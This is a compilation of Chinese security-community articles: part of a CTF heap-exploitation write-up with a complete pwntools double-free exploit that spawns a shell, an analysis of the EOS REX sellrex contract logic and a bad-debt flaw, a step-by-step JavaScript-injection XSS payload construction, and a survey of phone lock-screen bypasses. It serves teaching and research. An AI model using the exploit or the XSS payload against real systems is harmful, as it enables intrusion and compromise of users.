plane_header plane2
+-------+ +-------+
| ufd |-----> null | ufd |-----> null
+-------+ +-------+
| ubk |<------------------| ubk |
+-------+ +-------+
^ ^
| |
| |
| |
| plane1 |
| +-------+ |
| | ufd |--------------+
| +-------+
+----| ubk |
+-------+
对plane1进行第二次free操作：
为了方便读者对照，这里将unlink_plane函数在这里写一遍：
struct plane *unlink_plane(struct plane *plane)
{
struct plane *result;
plane->ubk->ufd = plane->ufd;
result = plane->ufd;
if ( result )
{
result = plane->ufd;
result->ubk = plane->ubk;
}
return result;
}
因此最终的情形是这样：
plane_header plane2
+-------+ +-------+
| ufd |------------------>| ufd |-----> null
+-------+ +-------+
| ubk |<------------------| ubk |
+-------+ +-------+
^ ^
| |
| |
| |
| plane1 |
| +-------+ |
| | ufd |--------------+
| +-------+
+----| ubk |
+-------+
没错，又被还原了，原因在于plane1在从链表中取下之后并没有将前后的指针清零，现在看来还没有什么问题，我们继续往下操作。
现在的Fast Bins中存在有三个chunk（实际上是两个，但是plane1所在的chunk出现了两次）：
Fast bin—>plane1—>plane2—>plane1
为了方便读者对照，这里同样将add_plane_to_linklist函数的代码在这里列出：
plane* add_plane_to_linklist(struct plane *plane){
struct plane *result;
struct plane *i;
for( i = &plane_header; i->ufd; i = i->ufd);
i->ufd = plane;
plane->ufd = 0;
result = plane;
plane->ubk = i;
return result;
}
现在我们进行第一次申请，我们会得到plane1所在的chunk，Fast bin如下：
Fast bin—>plane2—>plane1
链表会变成如下结构：
plane_header plane2 plane1
+-------+ +-------+ +-------+
| ufd |-------->| ufd |------->| ufd |
+-------+ +-------+ +-------+
| ubk |<--------| ubk |<-------| ubk |
+-------+ +-------+ +-------+
现在我们进行第二次申请，我们会得到plane2所在的chunk，Fast bin如下：
Fast bin—>plane1
链表会变成如下结构：
+------------------------+
v |
plane_header plane2 plane1 |
+-------+ +-------+ +-------+ |
| ufd |-------->| ufd |-->null | ufd |----+
+-------+ +-------+ +-------+
| ubk | +--| ubk |<-------| ubk |
+-------+ | +-------+ +-------+
| ^
| |
+-----------------------+
此时链表的结构已经被完全破坏，我们继续往下。现在Fast
bin中只剩下了一个chunk，即plane1所在的chunk，我们通过build_airport函数可以申请指定大小的chunk的特性，申请与plane1所在chunk一样大的空间（申请0x48大小，实际大小0x58），由于这个空间原本是用于填写airport_name所指向字符串，因此我们可以完全控制它的内容，于是我们可以顺利更改plane1->free_pointer（仍有一些小细节在后面会提到），之后理所应当应该调用函数触发free_pointer，但是当我们尝试调用sell_plane()函数时，函数顺着链表检索下去，到了plane2就会认为已经到了链表的结尾（因为plane2->ufd==null），无法找到plane1，因此无法顺利进行下去了。
要解决这个问题很简单，有两种思路：
1\. 只需要两次Double
Free的对象在一开始位于链表的尾部就可以了，我们可以使用plane2作为DoubleFree的对象，于是我们需要再申请一个airport对象，并将plane2通过fly_to函数加入新申请的airport的planes数组中，用于两次free操作，这个思路的操作方法并不惟一，但是必须保证Double
Free的对象处于链表的尾部；
2\.
在第三次申请之前，将plane1通过fly_to的操作加入某个airport的planes数组中（不妨称它为tmp_airport），当第三次通过build_airport函数将plane1改写之后，可以通过sell_airport(tmp_airport)的操作触发plane1的free_pointer。
最后我们需要再考虑一个细节，当我们通过build_airport函数改写plane1中的内容时，有几个位置的内容并不是可以随意更改的。我们将plane的结构画在下面：
+--------------+
| prevsize |
+--------------+
| size |
+--------------+
| |
| |
| |
| |
| plane_name |
| (0x20) |
| |
| |
| |
| |
+--------------+
| company_name |
+--------------+
| airport |
+--------------+
| ubk |
+--------------+
| ufd |
+--------------+
| free_pointer |
+--------------+
我们的目标是free_pointer，但是当我们最后一次申请时，程序将它全部当作了字符串，因此我们不可避免地要覆盖前面的所有内容，这里有这样几条限制条件：
1\. plane_name的字符串后面必须加上’\0’，这样才能截断形成字符串，用于sell_plane函数定位plane1的地址；
2\.
ubk与ufd所指向的地址必须能够通过unlink_plane函数，如果随意填写，就会造成段错误，这里我的做法是在覆写之前下断点，记录下原本ubk与ufd的值，计算它们与heap基址的偏移量offsetbk与offsetfd，虽然在实际运行的过程中地址会不同，但是堆的布局都是相同的，因此我们只需要用heapbase+offsetbk与heapbase+offsetfd去分别覆盖着两个部分就能保证通过unlink_plane函数（这里的heapbase是我们之前得到的堆基址）；
3\. 将free_pointer覆盖成one_gadget所在的地址（libcbase+offset(one_gadget)）。
最后调用sell_plane()函数将plane1释放，即可Get Shell。
one_gadget的限制条件并不是每次都能满足，有时可能需要多试几个，甚至有时都不能满足条件，但是这道题第一个就可以直接满足条件。
## My Exploit
from pwn import *
DEBUG=0
if(DEBUG==1):
context(os='linux', arch='i386', log_level='debug')
libc=ELF('./libc.so.6')
heapbase=0
mainarena=0
libcbase=0
p=process('./aiRcraft')
gadget1=0x45216
gadget2=0x4526a
gadget3=0xf02a4
gadget4=0xf1147
def buy_plane(company, name):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Your choice: ')
p.sendline(str(company))
p.recvuntil('Input the plane\'s name: ')
p.send(name)
def build_airport(length, name):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('How long is the airport\'s name? ')
p.sendline(str(length))
p.recvuntil('Please input the name: ')
p.send(name)
def sell_airport(num):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Which airport do you want to choose? ')
p.sendline(str(num))
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Success!')
def list_plane(num):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Which airport do you want to choose? ')
p.sendline(str(num))
p.recvuntil('Your choice: ')
p.sendline('1')
string=p.recvuntil('What do you want to do ?')[:-25]
p.recvuntil('Your choice: ')
p.sendline('3')
return string
def fly_to(name, num):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Which plane do you want to choose? ')
p.send(name)
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('which airport do you want to fly? ')
p.sendline(str(num))
p.recvuntil('Your choice: ')
p.sendline('3')
def sell_plane(name):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Which plane do you want to choose? ')
p.send(name)
p.recvuntil('Your choice: ')
p.sendline('2')
def main():
build_airport(16, 'stuff\n')
buy_plane(13, 'tel\n')
build_airport(16, 'listen\n')
fly_to('tel\n', 1)
sell_airport(0)
mainarena=u64(list_plane(1).split('\n')[1][9:]+'\x00\x00')-88
print hex(mainarena)
buy_plane(1, 'stuff1\n')
buy_plane(2, 'stuff2\n')
sell_plane('stuff2\n')
sell_plane('stuff1\n')
heapbase=u64(list_plane(1).split('\n')[1][9:]+'\x00\x00')-0x1b0
print hex(heapbase)
libcbase=mainarena-0x3C4B20
build_airport(16, 'op\n')
buy_plane(1, 'stuff1\n')
buy_plane(2, 'stuff2\n')
buy_plane(1, 'tmp2\n')
buy_plane(2, 'tmp1\n')
fly_to('tmp1\n', 2)
sell_plane('tmp1\n')
sell_plane('tmp2\n')
sell_airport(2)
buy_plane(1, 'tmp1\n')
buy_plane(2, 'tmp2\n')
pause()
payload=''
payload+='kongjia'+'\0'
payload+=p64(0)*5
payload+=p64(0x1c0+heapbase)
payload+=p64(0x2a0+heapbase)
payload+=p64(libcbase+gadget1)
build_airport(0x48, payload)
sell_plane('kongjia\n')
p.interactive()
if __name__=='__main__':
main()
这份exploit与之前所讲的思路有一些细节上的不同，但是都在之前静态分析出的框架之下，只需要简单调试就能看懂。 | 社区文章 |
**作者：慢雾安全团队
公众号：<https://mp.weixin.qq.com/s/epaClx3Z08cEUGy6CpuvNA>**
**系列阅读：[EOS REX 系列之从源码开始玩转 REX(一)](https://paper.seebug.org/915/ "EOS REX
系列之从源码开始玩转 REX\(一\)")**
## 前言
上一篇文章粗略分析了整个买卖 rex 的流程，由于篇幅的原因，剩下有一些细节没有分析到位。所以，这篇文章将在上一篇文章的基础上对一些细节进行深入的分析。
## 前情回顾
上一篇介绍了买卖 rex 的流程，涉及到了几个函数，我们一起回顾下：
1、 **deposit：** 用于充值，将`EOS`变成`SEOS`，也叫预备金。
2、 **withdraw：** 用于提现，将`SEOS`换回`EOS`。
3、 **buyrex：** 用于从用户的预备金中扣除相应的份额，并用于`rex`的购买。
4、 **sellrex：** 用于卖出已经结束锁定的`rex`，并将本金连带收益一起放进用户的预备金账户中。
5、 **add_to_rex_pool：** 用于将用户购买的`rex`放进`rex_pool`中，并根据 rex_pool
中的相关信息计算出用户能够购买的`rex`的数量，被`buyrex`函数调用。
6、 **fill_rex_order：** 处理用户卖单，计算收益。
以上几个函数除了 `sell_rex`和 `fill_rex_order` 其他函数都介绍得差不多了，本文将重点介绍这两个函数的细节。
## sellrex 函数
void system_contract::sellrex( const name& from, const asset& rex )
{
require_auth( from );
runrex(2);
auto bitr = _rexbalance.require_find( from.value, "user must first buyrex" );
check( rex.amount > 0 && rex.symbol == bitr->rex_balance.symbol,
"asset must be a positive amount of (REX, 4)" );
process_rex_maturities( bitr ); ///先收获成熟的rex
check( rex.amount <= bitr->matured_rex, "insufficient available rex" );///只能卖成熟的rex
auto current_order = fill_rex_order( bitr, rex );///拿到出租EOS得到的分红
asset pending_sell_order = update_rex_account( from, current_order.proceeds, current_order.stake_change );
//订单状态不成功
if ( !current_order.success ) {
/**
* REX order couldn't be filled and is added to queue.
* If account already has an open order, requested rex is added to existing order.
*/
auto oitr = _rexorders.find( from.value );
if ( oitr == _rexorders.end() ) {
oitr = _rexorders.emplace( from, [&]( auto& order ) {
order.owner = from;
order.rex_requested = rex;
order.is_open = true;
order.proceeds = asset( 0, core_symbol() );
order.stake_change = asset( 0, core_symbol() );
order.order_time = current_time_point();
});
} else {
_rexorders.modify( oitr, same_payer, [&]( auto& order ) {
order.rex_requested.amount += rex.amount;
});
}
pending_sell_order.amount = oitr->rex_requested.amount;
}
check( pending_sell_order.amount <= bitr->matured_rex, "insufficient funds for current and scheduled orders" );
// dummy action added so that sell order proceeds show up in action trace
if ( current_order.success ) {
dispatch_inline( null_account, "sellresult"_n, { }, std::make_tuple( current_order.proceeds ) );
}
}
以上为`sellrex`函数的具体实现，从开头开始一步一步进行分析。首先抛开`runrex`这个函数，这个函数并不属于本次讨论的范围，`runrex`函数主要用于处理`rex_pool`的信息，包括处理到期的资源租赁订单，回收用户资源，处理用户的`rex`卖单等，有兴趣的同学可以先自行研究，以后的文章也会进行单独的分析。
接上篇分析，`sellrex`函数我们分析到了`fill_rex_order`函数就没有继续往下分析了，`fill_rex_order`函数也只是讲了最核心的收益公式，这次我们来仔细进行分析。`sellrex`流程如下：
**1、 经过了一系列的检查之后，获取用于已经解锁的rex的数量，调用`fill_rex_order`获取用户的卖单。**
**2、 卖单携带着订单的完成状态，这是一个flag，分为成功和失败两种状态，当状态为失败的时候，进入上文的if条件** 。
**2.1、订单状态成功**
订单状态成功的时候`current_order.proceed`的值大于 0，这个时候通过
`update_rex_account`将卖rex的所得转至用户的储备金账户。用户就可以直接进行提现或者继续下一轮的购买了。
**2.2、订单状态为失败**
这个时候创建一个 order，我们这里为了不混淆，不说卖单，而是说为欠条，是一个 REX
平台给你的借条。什么意思呢？打个比方，你去商店订购商品，商品存货不足，这时候怎么办呢？这时候商店就会给你打一个单，这个单记录了你是谁，你要买多少的商品，买的时间等信息，等有货了就会根据这个单给你补上商品。REX
也是同样的道理，用户在卖`rex`的时候，由于`rex_pool`中的资金不足以支付用户的本金 + 收益，就会将用户的订单暂时挂起。这就是 REX
给你打的欠条，当 REX 资金充足的时候，就会把钱还你。当`sellrex`失败的时候，这个借条记录了以下信息:
（1） 卖`rex`的用户。
（2） 要卖的`rex`的数量(记录在`rex_requested`字段中)。
（3） 用户的收益，此时为 0，因为`rex`没有卖出去，收益是不存在的。
（4） 抵押状态，这个抵押状态是由于`buyrex`的时候，根据购买的数量会产生的相应的票权。
（5） 这个欠条创建的时间。
3、 最后，检查挂起的金额有没有超过已经解锁的 rex 的数量。
以上就把`sellrex`完整的讲完了，但是还有一个疑问，就是为什么会存在资金不足的情况，以及如何判定资金不足？这些秘密都在`fill_rex_order`里面。下面就详细的分析
`fill_rex_order`函数。
rex_order_outcome system_contract::fill_rex_order( const rex_balance_table::const_iterator& bitr, const asset& rex )
{
auto rexitr = _rexpool.begin();
const int64_t S0 = rexitr->total_lendable.amount;
const int64_t R0 = rexitr->total_rex.amount;
const int64_t p = (uint128_t(rex.amount) * S0) / R0; ///越多人借用资源收益越高
const int64_t R1 = R0 - rex.amount; ///更新rex pool中rex的数量
const int64_t S1 = S0 - p; ///更新rex pool中EOS的数量
asset proceeds( p, core_symbol() ); ///获得的收益
asset stake_change( 0, core_symbol() );
bool success = false; ///默认订单完成状态为0
check( proceeds.amount > 0, "proceeds are negligible" );
const int64_t unlent_lower_bound = rexitr->total_lent.amount;
//计算能未质押的rex pool中的EOS的数量，用于接下来观察是否足够支付用户产生的rex利润
const int64_t available_unlent = rexitr->total_unlent.amount - unlent_lower_bound; // available_unlent <= 0 is possible
//rexpool中的钱足够支付rex利润
if ( proceeds.amount <= available_unlent ) {
const int64_t init_vote_stake_amount = bitr->vote_stake.amount;
const int64_t current_stake_value = ( uint128_t(bitr->rex_balance.amount) * S0 ) / R0;
_rexpool.modify( rexitr, same_payer, [&]( auto& rt ) {
rt.total_rex.amount = R1;///更新rex pool中的rex的数量
rt.total_lendable.amount = S1; ///更新lenableEOS数量
rt.total_unlent.amount = rt.total_lendable.amount - rt.total_lent.amount; ///减少unlent数据
});
//对用户的rexbalance账户进行操作
_rexbalance.modify( bitr, same_payer, [&]( auto& rb ) {
rb.vote_stake.amount = current_stake_value - proceeds.amount;
rb.rex_balance.amount -= rex.amount;
rb.matured_rex -= rex.amount; ///减少已经成熟的rex的数量
});
stake_change.amount = bitr->vote_stake.amount - init_vote_stake_amount;
success = true;
///不够钱支付的情况
} else {
proceeds.amount = 0;
}
return { success, proceeds, stake_change };
}
上一篇文章我们分析了核心的收益公式是怎么计算出来的。这次从11行开始，看看这个函数做了什么：
1、 首先获取`unlent_lower_bound`的值，即最低未出租`rex_pool`中的 EOS
的数量。这个字段等于用户从`rex_pool`中借用资源的总量，是以 EOS 为单位的。
2、
计算`available_unlent`的值，这个值有可能为负数，为什么呢？假设一个场景，你是一个投资经理，你手上有很多投资人的钱，然后你把投资人的钱拿出去放贷收取利息，那么请问，这个时候你手上的资金还有多少？答案自然是：投资人的钱
- 放贷资金 + 放贷收益。REX 相当于这个投资经理，用户可以用少量的成本(EOS)换取大量的贷款(资源)，这个时候，REX
的资金池中的资金就就变成了：用户的资金 - 租用的金额 + 租用收益。根据前面的描述，用于租用资源的资金总是小于 REX 平台出租出去的资金，也就是说
在持续出租资源的时候，`rex_pool`中的资金总是不断变少的(这里不讨论系统收益的情况)。想清楚这一点，就能明白为什么`available_unlent`的值为负数了，当出租出去的资金大于`rex_pool`中当前资金
+ 收益的时候，这个值就会为负数。
3、 判断用户出售的 rex 获得的收益是否小于`rex_pool`中的剩余资金，相当于投资人想要回自己的钱，这个时候分两种情况：
3.1、 如果资金不够，那么这个订单就会挂起，此时由`sellrex`函数创建一个欠条，这就是订单失败的由来。
3.2、 如果够的话，则从`rex_pool`资金池中减去用户收回的资金，更新相关的表字段，更新用户的`rex_balance`账户，扣除相应的 rex
解锁金额。
那么到这里，整个`sellrex`的流程都讲清楚了，流程图是这样子的：
## 安全性分析
由于本次没有拓展新的函数，所以安全结论是和上篇是一样的，但是这次我们可以对上次说的安全问题有更深的了解。在原先版本的 rex 合约中，是没有 `check(
pending_sell_order.amount <= bitr->matured_rex, "insufficient funds for
current and scheduled orders" )`这一个校验的，这会导致什么呢？我们知道，当资金池中的资金不足以支付用于的卖单的时候，将跳过
if 判断下的所有步骤，直接由
`sellrex`函数挂起订单，在这种情况下，恶意用户在系统资金池资金不足的时候，就可以一直卖`rex`，叠加挂起订单的`rex`金额，直到资金池有足够的资金支付，出售比购买`rex`数量更多的`rex`。但是这样操作还是会卖不出去，因为最后更改用户
`rex_balance`的时候由于`asset`结构体自带的溢出检测，是不能成功卖出去的。但是这就会让这个订单成为一笔坏账，在这种情况下，因为有未完成的`sellrex
order`，整个 REX 系统将停止运行。具体原因是什么可以自己去发现，答案会在下一篇文章揭晓。
文章可能有说得不对或说得不够好的地方，欢迎讨论交流。 详情参考：
<https://eosauthority.com/blog/REX_progress_with_testing_and_implementation_details>
## 声明
本文仅用作技术参考，不构成任何投资建议。投资者应在充分了解相关风险的基础上进行理性投资。
* * * | 社区文章 |
原文：<https://brutelogic.com.br/blog/advanced-javascript-injections/>
简单的JavaScript注入技术，如`'-alert(1)-'`甚至`\’-alert(1)//`（请参见[此处](https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/ "此处")的案例#6和案例#7)，只要脚本块内触发输入反射（input
reflection），通常无需借助HTML注入攻击，就能引发易受攻击页面弹出警报框（具体请参见上面同一篇文章中的案例#5)。
但是在某些情况下，注入点可能会位于更加复杂的JS代码的中间，即在函数和条件语句内部（if或if+else），并且，它们还经常会嵌套在一起。
下面，我们将通过一个具体的示例，来讲解如何利用这种类型的漏洞。实际上，[@gustavorobertux](https://twitter.com/gustavorobertux
"@gustavorobertux")提供过一个现实中的漏洞，跟这里介绍的简直如出一辙。
<https://brutelogic.com.br/tests/jsfix.php?keyword=xss>
我们发现，借助于用户交互的情况下，这很容易做到，但是如果您不熟悉JS语言的话，事情可能会变得比较复杂。
因此，我们有以下几点思考。首先，它位于一些JS代码(keyword=aaaaa)的中间。
所以，我们可以尝试进行简单的JS注入，不过，双引号之前反斜杠将被转义。
Payload: “-confirm`1`-”
正如我们从[Main XSS Cases](https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/ "Main XSS Cases")
(案例#_7)中所了解到的那样，下一个技巧就是在第一个引号之前添加一个反斜杠来“实现对转义的转义”。此外，我们还需要对其余的代码行进行注释。
Payload: \”-confirm`1`//
如果我们改变(通过用户交互)页面上的select元素，这种方法就能奏效。
但是，为了达到这个目的，我们还有一种更好的方法，因为这种“功能”并非在所有情况下都是可用的，并且，它还需要用户进行交互。
我们的计划如下:“括住”所有嵌套的函数/条件，然后插入我们自己的代码
confirm`1`
然后，我们必须修复剩余代码中的语法问题，才能运行我们的payload，因为只要存在任何语法错误，整个脚本块都无法正常运行。
为此，我们可以首先尝试`\”}})})`，这是我们代码段的最后三行(不需要分号)，用来括住“if”语句、“on+change”函数和“document.ready”函数。其余部分与之前的尝试相同。
Payload: \”}})})-confirm`1`//
当然，它肯定无法奏效，因为我们的payload的构造工作只完成了一半(并且是最简单的部分)。但是，JS控制台(浏览器的Developer
Tools——按F12键 )返回的错误消息，能够指导我们完成后面的任务。
通过点击消息右侧的链接，我们就能找到问题之所在。
问题出现在“else”语句中，因为它不应该出现在那里。我们已经括住了if语句和2个函数，所以，我们需要去掉它。
就这里来说，我们需要处理双重反射，因此，我们将尝试通过在第一个反射中打开一个注释，在第二个反射中关闭它，从而将它们组合在一起，使它们变成一个。这足以“干掉”这两个反射之间的代码，即在“else”行加上“document.location”属性。
对于JS来说，多行注释使用的是/ _和_ /，因此，只要在payload的末尾加上一个/ _/就可以完成这项任务(在第一个反射中被解析为/_
，在第二个反射中被解析为*/ )。
Payload: \”}})})-confirm`1`/*/
让我们考察一下这个错误消息可能意味着什么。
正如我们所看到的，第一个反射的结尾到第二个反射的结尾之间的内容现在是以绿色显示的，表示被注释掉了。因此，这里
confirm`1`
之后被执行的代码，为&pageIndex=1&startFrom=0，其中&被解释为进行[逐位AND运算](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators
"逐位AND运算")，而后面的变量赋值操作是无效的( PageIndex = 1 )。
解决这个问题的方法并不复杂，只需在我们当前payload的末尾添加//来注释掉该行的其余部分即可，具体如下所示(添加了一个分号) :
Payload: \”}})})-confirm`1`;/*///
现在正如预期的那样，在注入分号之后，“if”语句的结尾处到“}”之间的代码都被注释掉了。因此，让我们在payload的后面、注释符之前添加一个“{”。
Payload: \”}})})-confirm`1`;{/*///
现在，解析器将跳到下一行，并报错！
为了解决这个问题，需要继续尝试修复被挂起的“}）”，方法是在“{”之前添加“({”，以符合语法顺序。
Payload: \”}})})-confirm`1`;({{/*///
发生了什么事？由于新添加了 "({", 现在我们的第一个 "{" 失去了它作为 "if" 语句的 "修复码" 所具有的效果。为解决这个问题, 我们只需在
"({" 和 "{" 之间添加一个 "if ()"即可。
Payload: \”}})})-confirm`1`;({if(){/*///
太好了，现在我们进入最后一行了！这里，我们只需重复上一步所做的工作，在分号之后、“({if(){”之前添加另一个“({”即可。
Payload: \”}})})-confirm`1`;({({if(){/*///
这次，我们又搞砸了什么？实际上，我们以前见过这种情况，我们只是将以前的“修复”工作搞砸了。为了修复这个新问题，在前面添加的“(”和“{”之间加入一个“function()”即可。
Payload: \”}})})-confirm`1`;(function(){({if(){/*///
太棒了，我们成功了！
现在，我们将精简payload。
为此，我们可以删除分号（这样的话，会导致解析器抛出“uncaught
error”消息，但仍然能够执行），并将“if()”替换为[标签](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label
"标签")“b:”，同时，将“function()”替换为[箭头函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions
"箭头函数")选项“a=>”。其中，“a”和“b”两个名字都是完全任意的。
最终的 Payload: \”}})})-confirm`1`(a=>{({b:{/*///
完整的JS代码块如上所示，至此，我们就大功告成了。 | 社区文章 |
作者：[Nicky@TSRC](https://security.tencent.com/index.php/blog/msg/118)
#### 一、概述
随着手机功能越来越多，其在我们生活中扮演的角色也越来越重要，除了保存传统的通讯录、短信、照片等个人隐私，现在的手机还是一个支付工具，如果手机被盗用，手机锁屏密码就是保证大家数据和资金安全的第一道屏障。我们最近也研究和总结了一些手机解锁的新老姿势的安全性，在此分享给大家，欢迎大家上车一起交流。
本次测试的手机包含了苹果，三星，华为，小米，VIVO，Google，一加，乐视等品牌的热销型号手机，测试的解锁姿势主要有以下5种：
**1\. 手势/PIN码解锁
2\. 蓝牙设备解锁 3\. 指纹解锁 4\. 人脸解锁 5\. 虹膜解锁**
测试结果表明，以上的解锁姿势都存在一定的安全风险。
#### 二、手势密码/PIN码解锁
在传统角度上来说，手势/数字密码是最安全的手机解锁姿势，一般的4-6位数字或图形密码结合错误次数限制，可以有效的防止攻击者通过暴力破解等方法（当然通过刷机重置系统或非通用
BUG 绕过不在讨论范围内）。虽然很难绕过此类姿势，但我们还可以想想如何在已经解锁的状态去清除密码。
图一
我们团队的安全研究员 Xbalien 在研究后发现了一个影响 Android7.0 及 7.1
的通用手势密码/pin码清除的漏洞，而条件就是只需要在解锁状态下安装运行一个 APP 或开启 ADB 调试即可清除已设置的密码（如上图一）。
在 Android7.0 及 7.1 系统中，系统导出了一个选择解锁方式的系统组件，第三方应用可以调用此接口发送特定参数的 Intent
即可关闭所有锁屏认证功能，包含手势密码/PIN码/指纹等等。目前谷歌已经确认为中危并在新版本中修复了此漏洞（CVE-2017-0704），详见谷歌2017年7月
Android 安全公告。
图二
除此之外，德国斯图加特大学的一个团队的研究报告指出，由于人体手指温度与手机屏幕温度存在一定温差，可以使用红外热成相相机能够拍摄出手指点击或滑动过程中产生的细小温差，从而破解输入的手机锁屏密码（如上图二）。
图三
不过经我们实际测试，距离，成相像素，手机与人体温差，输入时间，都会影响拍摄效果，在日常生活环境中很难使用热成像仪还原出手指操作的轨迹。比如我们使用 seek
thermal xr 热成仪（分辨率为 206*156 像素），拍摄距离屏幕 20-30cm 的范围内手指长按屏幕 5
秒后得到的照片（上图三），也只能分辩一个比周边屏幕稍亮的点，如果按正常速度解锁，几乎拍摄不到任何解锁轨迹，所以说这种方法离实际利用还是比较遥远的。
#### 三、蓝牙设备解锁
图四
早在 2014 年小米手环一代上市，小米就专门为小米手环在 MIUI 中开发了一个新功能叫做手环解锁，随后谷歌在 Android5.0 及以上版本的的
GooglePlay 组件中也加入了一个 smartLock 功能（上图四），支持蓝牙设备/地理位置/人脸解锁功能。而华为从 EMUI3.1
也开始引入智能解锁功能，支持手机在连接信任的蓝牙设备时无需密码直接解锁。在一段时间的测试后，我们发现华为的智能解锁功能存在漏洞可被利用于绕过手机锁屏密码。
华为 EMUI 在系统设置“锁屏与密码”中存在一个“智能解锁”功能，支持使用手环等蓝牙设备解锁，其中主要实现代码位于
`com.huawei.trustagent` 包中。主要原理为当用户开启智能解锁功能后，可选择添加可信手环设备，添加成功的手环设备 MAC
地址添加到白名单中。之后当手机亮屏时，后台会自动检测当前手机连接的蓝牙设备MAC地址是否在白名单中且信号强度( rssi
)是否在指定范围内，如果符合特定条件则自动免密码解锁。
图五
一看到单纯的 MAC 地址白名单机制，老司机们都会想到各种“猥琐流”思路去绕过白名单。了解蓝牙设备的同学应该知道部分蓝牙芯片厂商的的设备 MAC
地址是可以直接任意修改的，同时手环设备 MAC 地址是公开信息，所以攻击者可以修改蓝牙 USB dongle 的 MAC
地址并主动查询手机蓝牙提供的服务项，此时蓝牙 usb dongle 并没有与手机成功配对，但已经建立连接，从而可以直接绕过手机锁屏密码（如上图五）。
而之前说到的 Google 的 SmartLock 功能在刚上线也出现过类似漏洞，Google
的修复方案是在解锁时检测当前连接的蓝牙设备是否已经配对成功，小米手环则在固件中自定义一个蓝牙 profile
在解锁前与手机通信进行身份校验（这也是小米蓝牙解锁只支持小米手环的部分原因）。 目前华为已经致谢并修复此漏洞，CVE 编号为
CVE-2017-2728，详见华为 PSIRT 安全公告，后续对于这类涉及智能设备的系统漏洞我们也会继续保持关注。
#### 四、指纹识别解锁
2013年苹果发布了第一款按压式指纹识别的手机—iPhone5S，之后指纹识别几乎是所有旗舰手机的标配，而随着技术的成熟与成本的下降，现在更是普及到了百元机标配。从手机指纹识别技术原理上来看，主要有以下三种方案：
###### 1\. 电容指纹识别
图六
最早也是应用最广当属电容指纹识别，目前苹果iPhone全系及大部分Android手机都使用了这种技术的芯片。其主要原理是利用硅晶元与导电的皮下电解液形成电场，指纹的高低起伏会导致二者之间的压差出现不同的变化，借此可获取准确的指纹图像。
###### 2\. 超声波指纹识别
图七
小米5S与乐视乐 Max Pro
均使用了高通的超声波指纹识别芯片，它的原理是通过超声波信息反射来感应指纹形态，能穿透玻璃、金属表面，因此，这项技术不需要集成在 Home
键上同时还能解决湿手情况下的电容指纹识别不灵敏的问题。而在6月28号的上海 MWC2017 大会上 VIVO
还联合高通发布了第三代超声波指纹识别技术，直接将指纹识别功能集成在屏幕内，并支持水下操作和心率检测。
###### 3\. 屏下光学指纹识别
图八
早在3月巴塞罗那MWC2017展会上，国内的汇顶科技展示了一项的 “In-Display fingerprint”
光学指纹识别技术，直接将指纹识别功能集成在手机屏幕中，吸引了不少消费者的关注。其原理主要是借用手机屏幕自身的光源，将指纹反射到屏幕内部的感应器，结合芯片与软件算法获取指纹图像。而苹果之前也申请了一项利用红外光与传感器实现的类似屏下光学指纹识别方案，所以从目前消息来看iPhone8可能会成为上此这项技术的首发机型。
图九
在指纹识别安全方面，国内外已经有不少这方面的研究，如上图九，在2014年德国CCC黑客大会上研究员 Starbug
从德国国防部长一张看似普通的新闻照片中成功提取出了其指纹图案，然后大家可能会想起电影里的用胶带复制玻璃杯上的指纹绕过指纹门禁（一般为光学指纹识别）的方法，不过在这想和大家说的是由于复制的只是平面的指纹图像且胶带并不导电，这种方法并不适于主流的电容式指纹识别手机。
不过极客们又想到了另一种方法，也就是所谓的电容指纹膜。通过混合电容液与电容材料,得到可以导电的指纹套,当套有人手指的指纹套放在电容传感器上时,可产生与原版手指相同的电容值从而被电容指纹芯片成功识别。借助于万能的淘宝，我们只需要40元就能买到一套完整的指纹复制工具，以上就是我们制作一个电容指纹膜，测试可以成功解锁
iPhone7/iPhone6s/Google Pixel/小米Mix/一加2/Vivo Xplay5 等手机（如下图十）。
图十
对于超声波指纹识别来说，由于电容硅胶等物体的反射的声波与人体皮肤并不一致，所以用电容硅胶或其它物体复制的指纹是无法被识别的，而高通的第三代超声波指纹识别技术还加入了心跳/血液检测，所以理论上来说超声波指纹识别安全性要高于电容式指纹识别。屏下光学指纹识别由于暂无实际产品正式发布，安全性还暂时无法判定。
为了提升指纹识别安全性，一些厂商推出了新的活体指纹识别与3D指纹识别方案，活体指纹识别（如金立M2017）在原有的指纹识别的同时检测了心率，肤色。3D指纹识别（如华为Mate9）则在原有的表层指纹识别基础上加以改进，使电信号直抵真皮层，读取深层指纹。这两种方案都可以解决目前常见的指纹复制带来的风险，但日后是否还会出现新的对抗方法还有待研究。
#### 五、人脸识别解锁
人脸识别技术作为应用最广范的生物识别技术也最容易被破解。和其他的生物特征相比,人脸特征是最容易获取的,伪造者可以通过网上搜索、偷拍等途径获取用户脸部照片或视频。因此针对人脸识别认证系统的欺骗手段一直是人脸识别系统所面对的主要问题。
常见的绕过人脸识别的主要有方法有：
1\. 人脸照片： 拍摄二维平面图像人脸; 2\. 人脸视频：利用软件模拟或偷拍方法生成的动态人脸视频，具有眨眼等运动信息以及表情信息; 3\.
立体人脸模型：通过对人脸进行3D建模并打印实物；
图十一
由于手机设备的能耗与体积限制，目前手机上的人脸识别大多依靠的只是一个普通的前置摄像头，我们之前实测三星S8的人脸解锁用一张照片进行移动即可解锁，而在S8最近的更新中，三星已经提升人脸识别算法的准确性，测试已经无法通过照片解锁手机。
在手机端针对人脸照片的活体检测技术主要有眨眼生理行为检测等;针对人脸视频与立体人脸模型的活体检测技术主要有结合特定唇语/语音识别，特定行为交互等需要用户配合的交互手段及近红外人脸识别技术等。下图为部分厂商所使用的人脸识别活体检测方法：
#### 六、虹膜识别解锁
图十二
